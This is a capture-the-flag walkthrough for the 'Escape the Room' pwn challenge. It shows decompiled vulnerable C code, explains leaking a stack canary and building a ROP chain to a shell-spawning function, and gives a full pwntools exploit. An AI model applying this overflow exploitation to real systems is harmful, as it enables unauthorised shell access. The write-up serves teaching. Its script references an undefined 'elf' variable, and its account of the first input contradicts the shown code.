Beginner - Escape the Room
- Author: P3g4su5
- Difficulty: Easy
- Description : You have limited tries, try to maximize you knowledge with every try, if you feel hungry there are some cookies kept near the stack of papers
- Attachments : escape_the_room.zip
Walkthrough
This one was a ROP challenge with
stack canaries
enebled, andPIE
disabled. The goal was to first leak the canary and then perform ROP toescape
function.I also gave a slight hint about canary in the description if you read carefully
Here is the decompiled code by IDA
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
char buf[32]; // [rsp+0h] [rbp-50h] BYREF
char s1[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v7; // [rsp+48h] [rbp-8h]
v7 = __readfsqword(0x28u);
v3 = time(0LL);
srand(v3);
rand_str(s1, 30LL);
puts("Welcome to Escape the R00m !");
puts("You have only two chances to escape the room ...");
printf("Enter key : ");
read(0, buf, 0x50uLL);
if ( !strncmp(s1, buf, 0x1EuLL) )
puts("That was a nice escape ... But there is more to it !");
else
printf("%s is not the key, try again !\n", buf);
printf("Enter key : ");
__isoc99_scanf("%s", buf);
if ( !strncmp(s1, buf, 0x1EuLL) )
puts("That was a nice escape ... But there is more to it !");
else
puts("Wrong, go away !");
return 0;
}
int escape()
{
puts("Sweet !");
return system("/bin/sh");
}
- The program asks for a
key
and matches it with randomly generated key, we can predict the randomly generated key since it is usingsrand(time(0))
but this is not the goal - Given two chances, the goal is to leak the
canary
from first input andoverflow the return address
from the second input as both of them are usingscanf("%s", buf)
format specifier to read input.
Leaking Canary (first input)
printf("%s", buf)
orputs(buf)
both will print characters untill they encounter anull byte
.- The actual
canary
is also stored on thestack
at the bottom, so if we give an input such that its length reaches upto thecanary
in the stack, along with overwriting null byte of thecanary
, it will print out input along with thecanary
in theprintf
call as there is no null byte between our input and canary. - You can calculate the offset where the input overwrites the canary and it turns out to be
0x48
ROP (second input)
- Now we had to perform a simple
ROP
at the same time placingcanary
at specific posision in thestack
such that it properly matches the comparison operators at the end of stack and overwrite return address to address ofescape
function. - Due to
stack allignment
issue we will have to add an extraret
instruction gadget before the address ofescape
function
Exploit
Here is the complete exploit :
from pwn import *
p = process('./chal')
#First input
p.sendlineafter("key : ", cyclic(0x48))
canary = p.recvuntil('try again !').split(b' ')[0].lstrip(cyclic(0x48))
canary = u64(b'\00' + canary[1:-1])
log.critical(f"Canary : {hex(canary)}")
#Second Input
ret = p64(0x000000000040101a)
p.sendlineafter("key : ", cyclic(72) + p64(canary) + p64(0) + ret + p64(elf.sym['escape']))
p.interactive()
---